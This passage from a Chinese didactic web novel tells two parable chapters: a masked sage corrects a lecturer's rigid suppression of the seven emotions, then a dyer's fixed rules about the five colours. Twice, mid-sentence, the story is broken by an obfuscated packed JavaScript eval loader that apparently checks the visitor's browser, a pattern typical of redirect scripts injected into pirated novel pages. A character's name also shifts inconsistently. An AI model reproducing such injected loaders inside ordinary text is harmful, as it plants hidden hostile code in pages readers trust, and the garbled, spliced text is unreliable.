那人点头:“正是。七情是人性,发乎自然。当喜则喜,当怒则怒,当哀则哀,当惧则惧,当爱则爱,当恶则恶,当欲则欲。然喜有度,怒有控,哀有节,惧有据,爱有方,恶有当,欲有度。度、控、节、据、方、当、度,是导情之要,非抑情之枷。” 他转向宋守中:“宋先生教人以理节情、以礼约情、以道导情,是善心。然以理、礼、道为枷锁,强加节制,是过矣。情发乎自然,当导不当抑。强抑喜则伪,强抑怒则懦,强抑哀则冷,强抑惧则木,强抑爱则薄,强抑恶则滥,强抑欲则窒。此非修身养性,是害性伤身。” 宋守中冷汗涔涔,无言以对。 那人拱手道:“今日多言,望列位明理:喜怒哀惧爱恶欲,七情俱,是人性。情不可纵,纵则泛滥;亦不可抑,抑则郁结。当发而发,当止而止,发乎自然,止乎自然。导其有度、有控、有节、有据、有方、有当、有度,方是修身养性之道。” 说罢,转身欲下戏台。 “先生留步!”宋守中颤巍巍深揖一礼,“先生一席话,如晨钟暮鼓。宋某拘泥字句,以理杀人,以礼缚人,以道困人,误人误己。敢问先生高姓大名?” “我姓情,名真,字导之。” “情真导之……”宋守中喃喃,忽问,“先生这《礼记·乐记》篇,可否借某一观?” “可。”情真导之递过竹简,“此简可传阅,然需切记:七情是人,发乎自然。当导不当抑,当疏不当堵。以理、礼、道强加节制,是以枷锁缚人性,非是圣人之教。” 宋守中双手接过,如获至宝。 情真导之又对台下众人道:“道理在此,列位可思可悟。然需切记:口说七情,不如体察;口说导情,不如践行。喜怒哀惧,爱恶欲,皆在心头。体其真,导其宜,发其当,方是真性情。” 说罢,他戴上斗笠,走下戏台。荷叶斗笠在日光下泛着淡绿,粗麻白衣的下摆扫过台阶,不沾尘埃。 一、 宋守中的悔悟 情真导之走后,宋守中在戏台上呆立良久。他展开《礼记·乐记》篇,细读“人生而静,天之性也;感于物而动,性之欲也”、“必知其情,辟于其义,明于其利,达于其患,然后能为之”等语,又回想情真导之所言,越思越心惊。 “我误人子弟十五载啊!” 他想起自己讲书十五年,总以“以理节情、以礼约情、以道导情”为圭臬,教人强抑七情。见人狂喜,劝“喜不可过”;见人暴怒,劝“怒不可纵”;见人哀痛,劝“哀不可极”;见人恐惧,劝“惧不可过”;见人溺爱,劝“爱不可滥”;见人迁怒,劝“恶不可妄”;见人纵欲,劝“欲不可纵”。却不知,强抑喜则伪,强抑怒则懦,强抑哀则冷,强抑惧则木,强抑爱则薄,强抑恶则滥,强抑欲则窒。 “那位先生说得好,七情是人性,发乎自然。当导不当抑,当疏不当堵。我以理、礼、道为枷锁,强加节制,岂不是以理杀人、以礼缚人、以道困人?” 他羞愧难当,当即将《性理大全》收起,将《礼记·乐记》篇悬于戏台,对还未散去的众人深揖一礼。 “宋某拘泥字句,误人子弟。从今日起,宋某当闭门思过,重解七情,再不教人强抑性情!” 众人见他诚恳,便劝道:“宋先生知错能改,善莫大焉。只是这七情之道,咱们还想听正解。” 宋守中便道:“《礼记》在此,列位可随意观览。宋某每月朔望在此讲解,与列位共悟!” 从此,每逢朔望之日,宋守中便在戏台开讲七情新义。他不再说“以理节情、以礼约情、以道导情”,而是讲解七情之真、之导、之宜。他结合云梦镇实际,讲喜、怒、哀、惧、爱、恶、欲的发与止、导与宜。 “列位,喜是真情,当喜则喜。然喜有度,不可狂喜无度。譬如中举,可喜可贺,然若喜得手舞足蹈,是度之失。当导其有度,喜而不狂,是谓真喜。” “怒是义愤,当怒则怒。然怒有控,不可暴怒失控。譬如遇不平,可怒可斥,然若怒得砸物伤人,是控之失。当导其有控,怒而不暴,是谓真怒。” “哀是至情,当哀则哀。然哀有节,不可哀毁逾礼。譬如丧亲,可哀可痛,然若哀得茶饭不思,是节之失。当导其有节,哀而不毁,是谓真哀。” “惧是常情,当惧则惧。然惧有据,不可惶惶失据。譬如遇险,可惧可慌,然若惧得六神无主,是据之失。当导其有据,惧而不乱,是谓真惧。” “爱是本性,当爱则爱。然爱有方,不可溺爱无度。譬如爱子,可爱可疼,然若爱得纵子为恶,是方之失。当导其有方,爱而不溺,是谓真爱。” “恶是常情,当恶则恶。然恶有当,不可迁怒无辜。譬如恶人,可恶可鄙,然若恶得牵连旁人,是当之失。当导其有当,恶而不滥,是谓真恶。” “欲是天性,当欲则欲。然欲有度,不可纵欲无度。譬如食欲,可欲可求,然若欲得饕餮伤身,是度之失。当导其有度,欲而不纵,是谓真欲。” 他讲得通透,众人听得豁然开朗。有那曾因“强抑七情”而伪、而懦、而冷、而木、而薄、而滥、而窒的,感慨万千。 “原来七情,得这么发!” “是啊,喜是该喜,但不能狂;怒是该怒,但不能暴;哀是该哀,但不能毁;惧是该惧,但不能乱;爱是该爱,但不能溺;恶是该恶,但不能滥;欲是该欲,但不能纵。” “宋先生这么一讲,咱们就明白了!” 宋守中又在戏台旁立了块木牌,上书:“曰喜怒,曰哀惧。爱恶欲,七情俱。然喜有度,怒有控,哀有节,惧有据,爱有方,恶有当,欲有度。发乎自然,导乎其宜。” 二、 百姓的醒悟 宋守中在戏台讲七情新义,云梦镇的百姓渐渐醒悟。 从前,他们以为七情是祸水,得强压着:喜不能大笑,怒不能拍案,哀不能痛哭,惧不能失色,爱不能太浓,恶不能太显,欲不能太露。结果,喜憋成内伤,怒憋出病来,哀憋成郁结,惧憋成胆小,爱憋成冷淡,恶憋成虚伪,欲憋成扭曲。 如今,他们明白了:七情是人性,发乎自然。当喜则喜,当怒则怒,当哀则哀,当惧则惧,当爱则爱,当恶则恶,当欲则欲。然喜要有度,怒要有控,哀要有节,惧要有据,爱要有方,恶要有当,欲要有度。发乎自然,导乎其宜,方是真性情。 “原来七情,得这么处!” “可不是么!前街张书生中秀才,强忍着不笑,结果脸抽筋了!” “西巷王屠户被欺,强忍着不怒,结果吐了血!” “东市李婆婆丧子,强忍着不哭,结果病倒了!” “咱们呀,该笑就笑,该怒就怒,该哭就哭,该怕就怕,该爱就爱,该恶就恶,该欲就欲,只要不过分,就是真性情!” 有那吃过亏的,现身说法,劝人莫要“强抑七情”。有那开明的,开始践行“发乎自然,导乎其宜”的新道。 喜时开怀笑,但不过度;怒时拍案起,但不失控;哀时放声哭,但不久溺;惧时脸色变,但不慌乱;爱时真心待,但不溺纵;恶时明确弃,但不迁怒;欲时正当求,但不放纵。 镇上的风气,为之一新。强抑的少了,自然的多了;虚伪的少了,真诚的多了。 宋守中在戏台,将百姓践行七情新道的事一一记录,成《云梦七情新事》。他携此册,奔走于乡邻之间,倡行“发乎自然,导乎其宜”之道。 乡邻们见宋守中变了,也渐改前非。有那曾因“强抑喜”憋出病的,如今喜时畅笑,但不过度;有那曾因“强抑怒”吐血的,如今怒时发火,但不失控;有那曾因“强抑哀”病倒的,如今哀时痛哭,但不久溺;有那曾因“强抑惧”胆小的,如今惧时失色,但不慌乱;有那曾因“强抑爱”冷淡的,如今爱时热情,但不溺纵;有那曾因“强抑恶”虚伪的,如今恶时明示,但不迁怒;有那曾因“强抑欲”扭曲的,如今欲时正当求,但不放纵。 七情新道,渐入人心。 三、 《礼记》的流传 宋守中倡七情新道之事,渐传周边。附近乡镇的讲书先生、乡塾夫子,闻讯来云梦镇取经。宋守中便将《礼记·乐记》篇借出传抄,更将《云梦七情新事》广为散发。 “七情是人,发乎自然。此理通行天下。” “喜有度,怒有控,哀有节,惧有据,爱有方,恶有当,欲有度。发乎自然,导乎其宜。” “云梦新事,可供参考。但各人性情不同,当因性制宜。” 抄书者、传册者,回去后亦在本地宣讲。有那开明的讲书先生、乡塾夫子,亦加入其中。一时间,“七情是人,发乎自然,导乎其宜”之道,传遍州县。 有那固执的老学究,初闻此道,斥为“纵情之说”。但见百姓践行,身心康泰,也渐改观念。有那曾因强抑七情致病的,闻此道如获至宝。 情真导之的名声,渐渐在州县传开。都说有位戴荷叶斗笠、蒙细葛的高人,深明七情,点破迷障,使人明“七情是人,发乎自然”之理,知“发乎自然,导乎其宜”之道。 四、 三年后的望日 三年后的一个望日,戏台下又挤满了人。不仅有云梦镇的百姓,还有周边乡镇的乡民。 宋守中正在讲解“曰喜怒,曰哀惧。爱恶欲,七情俱”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好。”情真导之点头,“知七情是人,则不抑不伪;知发乎自然,则不憋不郁;知导乎其宜,则不狂不滥。此乃百姓之福,性情之真。” 他又问:“然七情之发,易入两歧:一曰过,二曰不及。过喜则狂,不及喜则伪;过怒则暴,不及怒则懦;过哀则毁,不及哀则冷;过惧则乱,不及惧则木;过爱则溺,不及爱则薄;过恶则滥,不及恶则伪;过欲则纵,不及欲则窒。此又当如何?” 众人肃然。宋守中道:“先生所言极是!七情之发,贵在中和。喜不狂不伪,怒不暴不懦,哀不毁不冷,惧不乱不木,爱不溺不薄,恶不滥不伪,欲不纵不窒。此所谓‘发而皆中节’,方是正道。” “正是。”情真导之道,“七情如琴弦,过紧则易断,过松则无声。松紧得宜,方成雅音。喜、怒、哀、惧、爱、恶、欲,亦当如是。不狂不伪,不暴不懦,不毁不冷,不乱不木,不溺不薄,不滥不伪,不纵不窒,发乎自然,止乎自然,方是真性情。” 他转向众人:“列位当谨记:喜时当喜,然不过度;怒时当怒,然不失控;哀时当哀,然不久溺;惧时当惧,然不慌乱;爱时当爱,然不溺纵;恶时当恶,然不迁怒;欲时当欲,然不放纵。发乎本心,导乎其宜,方是性情之正。” 众人齐声道:“谨记先生教诲!” 情真导之从怀中取出一卷书,递给宋守中:“此乃《七情导宜录》,是我游历各地,记录七情得失、过与不及之鉴所编。你可传抄于众,供百姓参考。” 宋守中双手接过,如获至宝。 情真导之又对众人道:“此书可参阅,但需切记:七情之道,在体不在说。说得天花乱坠,不如体得本心。喜怒哀惧,爱恶欲,皆在心头。体其真,发其宜,导其中,方是真修养。” 说罢,他戴上斗笠,走入人群。荷叶斗笠在夕阳下泛着金绿,粗麻白衣的下摆扫过尘土,不染纤尘。 宋守中对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声七情谣 多年后,云梦镇的孩童玩耍时,会唱一首童谣: 喜怒哀惧爱恶欲,七情俱是人本性。 宋生强抑教人伪,百姓憋屈成病身。 情真先生来点化,七情发乎本自然。 当喜则喜当怒怒,当哀则哀当惧惧。 当爱则爱当恶恶,当欲则欲不过度。 从此云梦多真情,百姓康泰乐融融。 有外乡人听了,问镇里老人:“这情真先生是何人?” 老人便会指着戏台说:“是位教人明七情、知发导的先生。他来了,宋先生知错了,百姓醒悟了,咱们镇知道七情是人、发乎自然了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又强抑性情、虚伪度日的时候,他大概就会回来吧。” 外乡人若有所思,走到戏台旁。台旁悬着《礼记·乐记》篇与《云梦七情新事》,木牌上刻着那十二字:“曰喜怒,曰哀惧。爱恶欲,七情俱。”下面还有一行小字:“然喜有度,怒有控,哀有节,惧有据,爱有方,恶有当,欲有度。发乎自然,导乎其宜。” 也许那位情真先生,正在某个地方,看人抒七情、发本性吧。他想。 他走出集市,暮色四合。茶馆里传出笑声,铁铺里传来怒斥,谁家院中飘出哀乐,巷口孩童惊叫奔跑,夫妻相携而行,路人怒目相视,食肆飘出饭香。七情之发,看似寻常,实则就在这笑声怒斥、哀乐惊叫、相携怒目、饭香之中。 本章诫世 一、 七情真义训 - 曰喜怒,曰哀惧。爱恶欲,七情俱 - 破解法:为学者,自问“可强抑七情?可知情是人?可曾发乎自然?”;为民者,自问“可憋屈性情?可知情当发?可曾导乎其宜?” 二、 三谬三正 - 宋守中之谬在“强抑”——以理、礼、道为枷锁,强抑七情 - 世俗之谬在“虚伪”——强抑七情,表面从容,内心憋屈 - 百姓之谬在“病郁”——强抑七情,致伪、致懦、致冷、致木、致薄、致滥、致窒 - 三正:宋守中倡七情新道,百姓明发乎自然,云梦行导乎其宜 三、 导之大道 - 深层隐喻:喜怒哀惧爱恶欲,七情俱,是人,发乎自然。情不可纵,纵则泛滥;亦不可抑,抑则郁结。当发而发,当止而止,发乎自然,止乎自然。导其有度、有控、有节、有据、有方、有当、有度,方是性情之正。强抑七情,是以理杀人、以礼缚人、以道困人;放纵七情,是以情害性、以欲伤身。发乎本心,导乎其宜,方是真修养 - 终极指向:世人处情,易入两歧:一曰强抑,二曰放纵。强抑则伪,放纵则狂。七情是人,发乎自然,当发则发,当止则止。发有度,怒有控,哀有节,惧有据,爱有方,恶有当,欲有度。不抑不纵,不狂不伪,发而中节,止而合宜,方是性情之正。情在体,不在说;在发,不在抑;在导,不在纵 七情偈: 云梦戏台宋守中,强抑七情教人伪。 喜怒哀惧爱恶欲,百姓憋屈成病身。 情真先生来点化,七情发乎本自然。 从此发导皆合宜,百姓康泰乐融融。 后世叹: 曰喜怒,曰哀惧,爱恶欲,七情俱。 宋生强抑成枷锁,百姓虚伪病郁生。 情真先生来点化,七情发乎本自然。 三载发导新气象,云梦百姓性情真。 正是: 云梦戏台讲七情,宋生强抑教人伪。 喜怒哀惧皆枷锁,爱恶欲望尽牢笼。 情真先生来点破,七情发乎本自然。 从此不抑亦不纵,百姓性情得畅舒。 105.五色谳 楔子·染坊悖论 流霞镇西街有家“锦绣坊”,主人赵守正,世代以染织为业。每逢旬日,赵守正便在染坊门口设坛开讲“五色之理”。这日正是初十,坊前空地上已摆开十数口染缸,青、赤、黄、白、黑五色布匹挂满竹架,在晨光中斑斓夺目。赵守正身穿靛蓝葛袍,手持一册《染经》,对围观的百姓朗声道: “……故曰:天地有五色,青、赤、黄、白、黑。此五色,目所识,乃造化之正色。青为东方之色,主生发;赤为南方之色,主炽盛;黄为中央之色,主中和;黑为北方之色,主敛藏;白为西方之色,主肃杀。此乃天经地义,万世不易之理也!” 围观者多是些市井百姓,有织布的、染衣的、刺绣的、卖布的,听得频频点头。 赵守正捻须续道:“故而染色之道,当遵五方正色。男子衣青、赤、黄,示阳刚;女子衣白、黑,示阴柔。老者衣青、黑,示持重;幼者衣赤、黄,示活泼。士人衣青、白,示清正;商贾衣赤、黄,示兴旺。此乃礼制所定,不可僭越!” 他指着染缸道:“譬如这青,必得以蓼蓝三浸三晒,方成上品。赤必得茜草九蒸九煮,方得正色。黄必得栀子七泡七漂,方见明艳。白必得日光九曝九洗,方显纯净。黑必得五倍子三煮三沤,方呈沉厚。工序一丝不可减,火候一毫不可差,方是正色正法!” 人群中卖布的周掌柜叹道:“赵师傅说得是!咱们染布几十年,从不敢乱了工序。前街王裁缝给姑娘做了件赤色襦裙,被族长训斥‘女子着赤,不守妇道’,生生拆了重染!” 染工老李附和道:“上月东市陈秀才做了件黑衣赴考,被人说‘士人着黑,不吉’,硬是换成了白衣!” 赵守正面露得色,正要再言,坊前老槐树下传来一个清越的声音:“此言差矣。” 众人望去,见树荫下立着一人。斗笠是细竹与桑皮混编,檐边垂着几缕风干的藤萝。白衣是粗苎所制,虽旧却洁净,衣摆处有细密的靛蓝补丁。腰间悬一柄木剑,剑穗是褪色的五色丝绦。面上蒙着本色麻纱,只露出一双明澈如秋水洗过的眼睛。 赵守正眉头微皱:“这位兄台,差在何处?” “青赤黄,及黑白。此五色,目所识。”那人缓步走出树荫,对众人略一拱手,“此言不错。然赵师傅说‘五色各有主属,染色必遵正法,衣色必合身份’,却是错了。” “错了?”赵守正不悦,“五色分属五行四方,男女老幼、士农工商各有所宜,此乃古礼所定,岂能有错?” “五色是色,目所识,是实。”那人道,“然色是色,目所见耳。青是青,赤是赤,黄是黄,白是白,黑是黑,本无贵贱,本无主属,本无吉凶。人以目识色,以色染物,以物饰身,本乎自然。强分五行四方,强定男女老幼,强判士农工商,是人为之枷锁,非色之本然。” 他走到染缸前,指着一缸靛青:“赵师傅说青必得以蓼蓝三浸三晒,方成上品。然我见西南山中,有靛草一浸即青,其色沉郁;东南水畔,有蓝草九浸方碧,其色明艳。同是青色,因地而异,因材而变,岂可必以蓼蓝三浸三晒为定法?” 又指赤缸:“赤必得茜草九蒸九煮?我见北地有红花,一蒸即赤,其色热烈;南疆有苏木,不蒸不煮,渍汁即红,其色沉静。同是赤色,因物而异,因法而变,岂可必以茜草九蒸九煮为定则?” 再指黄缸:“黄必得栀子七泡七漂?我见西域有姜黄,一泡即黄,其色鲜亮;东土有黄栌,晒干即黄,其色温润。同是黄色,因材而异,因时而变,岂可必以栀子七泡七漂为铁律?” 他转向众人:“至于白必得日光九曝九洗,黑必得五倍子三煮三沤,更是拘泥。棉麻本白,何以必九曝?炭烟本黑,何以必三沤?色在物中,法在人为,因材施法,因时制宜,方是染色之道。强定工序,强求火候,是舍本逐末。” 赵守正面色微变:“那衣色之分……” “衣色之分,更是荒谬。”那人声音平和,“男子衣青赤黄,女子衣白黑?我见塞北女子着赤衣策马,英气逼人;江南男子着白衣泛舟,飘逸出尘。老者衣青黑,幼者衣赤黄?我见耄耋老翁着黄衫弈棋,神采奕奕;垂髫童子着黑袍习字,沉稳端方。士人衣青白,商贾衣赤黄?我见寒士着赤袍苦读,志气昂然;富商着素服行善,清雅高洁。色只是色,衣只是衣。以色定人,以色判人,是以色为牢,以衣为枷。” 他转向赵守正:“赵师傅,五色是造化所赐,目所识,是自然。染色之道,在得色,不在固法;衣色之宜,在合体,不在合礼。强分五行四方,是以虚妄缚实相;强定男女老幼,是以偏见限天性;强判士农工商,是以俗见困人心。此非守礼,乃悖自然也。” 赵守正额角见汗,强撑道:“你……你这是悖逆古礼!《礼记》有云:‘衣正色,裳间色。’正色为尊,间色为卑,此乃礼制!” “《礼记》所云‘正色’,是言染色当得正色,非是言衣色当分贵贱。”那人从怀中取出一卷帛书,展开示众,“此乃《周礼·考工记》篇:‘青与赤谓之文,赤与白谓之章,白与黑谓之黼,黑与青谓之黻。五采备谓之绣。’又云:‘画缋之事,杂五色。’五色相杂而成文绣,何来尊卑?《论语》亦云:‘君子不以绀緅饰,红紫不以为亵服。’是言服色当合礼,非是言色有贵贱。色本无贵贱,人以心分之耳。” 众人围观,果见帛书有载。 赵守正踉跄一步,扶住染缸,喃喃道:“五色相杂而成文绣……色本无贵贱……” 人群中哗然。有那明理的染工叹道:“这位先生说得是!我老家在西南,那儿染青就用靛草,一浸就成,哪要三浸三晒!” “咱们北地染赤,用红花最便,一蒸就行,何必九蒸九煮?” “我是跑西域的,那边染黄都用姜黄,简单得很!” “可不是么!我闺女就爱穿赤色,精神!非要她穿白穿黑,死气沉沉!” 那人点头:“正是。五色是色,本无贵贱。染色之法,因地而异,因材而变。衣色之宜,因人而异,因心而择。强分五行四方,是以虚妄缚实;强定男女老幼,是以偏见限人;强判士农工商,是以俗见困心。色是造化,目所识,心所用,当顺其自然,合宜为美。” 他转向赵守正:“赵师傅精于染色,是匠心。然以古礼为枷锁,强分色之贵贱,强定染之法度,强判衣之宜忌,是过矣。染色不因地因材制宜,是呆染;衣色不因心因体择宜,是愚着。此非守礼重色,乃悖逆自然也。” 赵守正冷汗涔涔,无言以对。 那人拱手道:“今日多言,望列位明理:青赤黄及黑白,此五色,目所识。色是色,本无贵贱。染色当因地因材制宜,衣色当因心因体择宜。顺其自然,合宜为美,方是造化之道。” 说罢,转身欲走。 “先生留步!”赵守正颤巍巍深揖一礼,“先生一席话,如霹雳惊蛰。赵某拘泥古礼,以虚妄缚实,以偏见限人,以俗见困心,误己误人。敢问先生高姓大名?” “我姓色,名真,字宜之。” “色真宜之……”赵守正喃喃,忽问,“先生这《周礼·考工记》篇,可否借某一观?” “可。”色真宜之递过帛书,“此帛可传阅,然需切记:五色是造化,目所识,心所用。染色在得色,不在固法;衣色在合体,不在合礼。强分贵贱,强定宜忌,是以虚妄缚自然,非是古礼本意。” 赵守正双手接过,如获至宝。 色真宜之又对众人道:“道理在此,列位可思可悟。然需切记:口说五色,不如亲染;口说合宜,不如亲择。青赤黄白黑,皆在眼前。观其真,染其宜,着其美,方是真知。” 说罢,他戴上斗笠,转身离去。桑皮斗笠在晨光中泛着淡金,粗苎白衣的下摆扫过染坊前湿润的青石板,不沾半点染料。 一、 赵守正的悔悟 色真宜之走后,赵守正在染坊前呆立良久。他展开《周礼·考工记》篇,细读“青与赤谓之文,赤与白谓之章,白与黑谓之黼,黑与青谓之黻。五采备谓之绣”、“画缋之事,杂五色”等语,又回想色真宜之所言,越思越心惊。 “我误人误己三十载啊!” 他想起自己执掌染坊三十年,总以“五色各有主属,染色必遵正法,衣色必合身份”为圭臬。见人染青不按三浸三晒,便斥为“不正”;见人衣色不合身份,便讥为“僭越”。有姑娘爱穿赤色,他劝“女子着赤,不守妇道”;有士人着黑衣,他劝“士人着黑,不吉”;有老者着黄衫,他劝“老者着黄,不庄”;有孩童着黑袍,他劝“幼者着黑,不祥”。却不知,色只是色,衣只是衣。以色定人,以色判人,是以色为牢,以衣为枷。 “那位先生说得好,五色是造化所赐,目所识,是自然。染色之道,在得色,不在固法;衣色之宜,在合体,不在合礼。我强分五行四方,强定男女老幼,强判士农工商,岂不是以虚妄缚实相、以偏见限天性、以俗见困人心?” 他羞愧难当,当即将《染经》收起,将《周礼·考工记》篇悬于染坊,对还未散去的众人深揖一礼。 “赵某拘泥古礼,误人误己。从今日起,赵某当闭门思过,重研染色,再不固守成法、强分贵贱!” 众人见他诚恳,便劝道:“赵师傅知错能改,善莫大焉。只是这五色之道,咱们还想听正解。” 赵守中便道:“《周礼》在此,列位可随意观览。赵某每旬在此讲解,与列位共悟!” 从此,每逢旬日,赵守正便在染坊开讲五色新义。他不再说“五色各有主属,染色必遵正法,衣色必合身份”,而是讲解五色之真、之染、之宜。他结合流霞镇实际,讲青、赤、黄、白、黑的染法之变、衣色之择。 “列位,青是青色,本无贵贱。染青之法,因地而异。西南靛草一浸即青,东南蓝草九浸方碧。当因材施法,得色为要,不必拘泥三浸三晒。” “赤是赤色,本无吉凶。染赤之法,因物而变。北地红花一蒸即赤,南疆苏木渍汁即红。当因材施法,得色为要,不必拘泥九蒸九煮。” “黄是黄色,本无尊卑。染黄之法,因材而异。西域姜黄一泡即黄,东土黄栌晒干即黄。当因材施法,得色为要,不必拘泥七泡七漂。” “白是白色,本无雅俗。得白之道,因物而宜。棉麻本白,不必九曝;绢纱本白,不必九洗。顺其自然,洁净为要。” “黑是黑色,本无祥晦。得黑之道,因材而变。五倍子可染,炭烟亦可染。当因材施法,沉厚为要,不必拘泥三煮三沤。” 他顿了顿,续道:“至于衣色,更无定规。男子可着赤,女子可着青,老者可着黄,幼者可着黑,士人可着赤,商贾可着白。色只是色,衣只是衣。着衣在合体,在合心,在合宜,不在合礼。赤衣可显精神,白衣可显清雅,黑衣可显沉稳,青衣可显生机,黄衣可显明快。各随所好,各取所宜,方是衣道。” 他讲得通透,众人听得豁然开朗。有那曾因“衣色不合身份”被训斥、被讥笑的,感慨万千。 “原来五色,得这么看!” “是啊,染色得看材料,不能光按古法;穿衣得看自己,不能光按身份!” “赵师傅这么一讲,咱们就明白了!” 赵守正在染坊前立了块木牌,上书:“青赤黄,及黑白。此五色,目所识。然色本无贵贱,染法当因地因材制宜,衣色当因心因体择宜。顺其自然,合宜为美。” 二、 百姓的醒悟 赵守正在染坊讲五色新义,流霞镇的百姓渐渐醒悟。 从前,他们以为五色有贵贱、有主属、有吉凶:青是东方色,男子衣;赤是南方色,商贾衣;黄是中央色,老者慎衣;白是西方色,女子衣;黑是北方色,士人忌衣。染色必遵古法,衣色必合身份。结果,染布呆板,衣色拘束,人受其困。 如今,他们明白了:五色只是色,目所识,本无贵贱。染色之法,因地而异,因材而变;衣色之宜,因人而异,因心而择。赤衣可精神,白衣可清雅,黑衣可沉稳,青衣可生机,黄衣可明快。各随所好,各取所宜,方是自然。 “原来五色,得这么用!” “可不是么!我娘子就爱穿赤色,精神!从前不敢穿,现在天天穿!” “我爹七十了,就爱穿黄衫,显年轻!从前不敢穿,现在随便穿!” “我是读书人,就爱穿黑衣,沉稳!从前不敢穿,现在大胆穿!” “咱们染布,也看材料,西南来的靛草就一浸,本地的蓝草就多浸几遍,省时省力!” 有那吃过亏的,现身说法,劝人莫要“固守染法”、“强分衣色”。有那开明的,开始践行“因地因材制宜”、“因心因体择宜”的新道。 染布的,看材料定染法,不拘古方;穿衣的,看喜好择颜色,不拘身份。 镇上的风气,为之一新。呆板的少了,灵活的多了;拘束的少了,自在的多了。 赵守正在染坊,将百姓践行五色新道的事一一记录,成《流霞五色新事》。他携此册,奔走于乡邻之间,倡行“因地因材制宜”、“因心因体择宜”之道。 乡邻们见赵守正变了,也渐改前非。有那曾因“固守染法”费时费力的,如今看材料染布,省时省力;有那曾因“强分衣色”不敢穿心爱颜色的,如今随心择衣,精神焕发。 五色新道,渐入人心。 三、 《周礼》的流传 赵守正倡五色新道之事,渐传周边。附近乡镇的染匠、裁缝、布商,闻讯来流霞镇取经。赵守正便将《周礼·考工记》篇借出传抄,更将《流霞五色新事》广为散发。 “五色是色,目所识,本无贵贱。此理通行天下。” “染法当因地因材制宜,衣色当因心因体择宜。顺其自然,合宜为美。” “流霞新事,可供参考。但各地物产不同,当因地制宜。” 抄书者、传册者,回去后亦在本地宣讲。有那开明的染匠、裁缝、布商,亦加入其中。一时间,“五色无贵贱,染法看材料,衣色看喜好”之理,传遍州县。 有那固执的老染匠,初闻此理,斥为“悖逆古法”。但见百姓践行,染布更易,衣色更美,也渐改观念。有那曾因固守古法吃亏的,闻此理如获至宝。 色真宜之的名声,渐渐在州县传开。都说有位戴桑皮斗笠、蒙麻纱的高人,深明五色,点破迷障,使人明“五色是色,本无贵贱”之理,知“染法看材料,衣色看喜好”之道。 四、 三年后的旬日 三年后的一个旬日,染坊前又围满了人。不仅有流霞镇的百姓,还有周边乡镇的乡民。 赵守正正在讲解“青赤黄,及黑白。此五色,目所识”。 “……故曰:五色是造化,目所识,心所用。青是青,赤是赤,黄是黄,白是白,黑是黑,本无贵贱,本无主属,本无吉凶。染色之道,在得色,不在固法。因地而异,因材而变,顺其自然,方是正法。衣色之宜,在合体,不在合礼。因心而择,因体而宜,顺其本心,方是真宜。” 他指着染坊悬着的《周礼·考工记》篇与《流霞五色新事》,道:“列位看,这是古人之训,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他又问:“然五色之用,易入两歧:一曰泥古,二曰妄为。泥古者,固守成法,强分贵贱;妄为者,不辨美恶,胡乱施为。此又当如何?” 众人肃然。赵守正道:“先生所言极是!五色之用,贵在得宜。泥古则呆,妄为则乱。顺其自然,因地因材制宜;合其本心,因心因体择宜。方是正道。” “正是。”色真宜之道,“五色如五音,有常律,亦有变调。守常律,可知宫商角徵羽;通变调,可成万千妙音。若死守常律,不知变通,是呆;若无视常律,胡乱施为,是乱。顺自然,合本心,得宜适中,方是妙用。” 他转向众人:“列位当谨记:用青色,当知青是青,可染衣可染布,可男穿可女着,可老衣可少服,顺材顺心为美。用赤色,当知赤是赤,可热烈可沉静,可商穿可士服,可少衣可老着,顺材顺心为美。用黄色,当知黄是黄,可鲜亮可温润,可老衣可少服,可商穿可士着,顺材顺心为美。用白色,当知白是白,可洁净可清雅,可女穿可男着,可士衣可商服,顺材顺心为美。用黑色,当知黑是黑,可沉厚可沉稳,可士穿可女着,可少衣可老服,顺材顺心为美。色只是色,用其宜,顺其心,方是正道。” 众人齐声道:“谨记先生教诲!” 色真宜之从怀中取出一卷书,递给赵守正:“此乃《五色宜用录》,是我游历各地,记录五色用法、得宜得失之鉴所编。你可传抄于众,供百姓参考。” 赵守正双手接过,如获至宝。 色真宜之又对众人道:“此书可参阅,但需切记:五色之道,在观在用。观千色不如染一色,说千宜不如着一衣。青赤黄白黑,皆在眼前。观其真,染其宜,着其美,方是真知。” 说罢,他戴上斗笠,转身走入人群。桑皮斗笠在日光下泛着淡金,粗苎白衣的下摆扫过染坊前湿润的青石板,不沾半点染料。 赵守正对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声五色谣 多年后,流霞镇的孩童玩耍时,会唱一首童谣: 青赤黄白黑五色,目所识来本无别。 赵师强分贵与贱,染法衣色皆成枷。 色真先生来点化,五色是色本自然。 染法看料衣看心,从此流霞色缤纷。 赤衣女子多精神,黑衣士子更沉稳。 黄衫老者显年轻,白衣商贾也清雅。 有外乡人听了,问镇里老人:“这色真先生是何人?” 老人便会指着染坊说:“是位教人明五色、知宜用的先生。他来了,赵师傅知错了,百姓醒悟了,咱们镇知道五色是色、本无贵贱了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又固守成法、强分贵贱的时候,他大概就会回来吧。” 外乡人若有所思,走到染坊前。坊前悬着《周礼·考工记》篇与《流霞五色新事》,木牌上刻着那十二字:“青赤黄,及黑白。此五色,目所识。”下面还有一行小字:“然色本无贵贱,染法当因地因材制宜,衣色当因心因体择宜。顺其自然,合宜为美。” 也许那位色真先生,正在某个地方,看人染五色、着彩衣吧。他想。 他走出染坊,夕阳西下。晚霞满天,青、赤、黄、白、黑,五色交融,流光溢彩。染坊里传出捣练声,布庄前飘着各色布匹,街市上行人衣着缤纷。五色之美,看似寻常,实则就在这晚霞染坊、布匹衣着之中。 本章诫世 一、 五色真义训 - 青赤黄,及黑白。此五色,目所识 - 破解法:为染者,自问“可固守古法?可知色本无贵贱?可曾因地因材制宜?”;为衣者,自问“可强分衣色?可知衣宜合体?可曾因心因体择宜?” 二、 三谬三正 - 赵守正之谬在“泥古”——以古法为铁则,固守染法,强分衣色 - 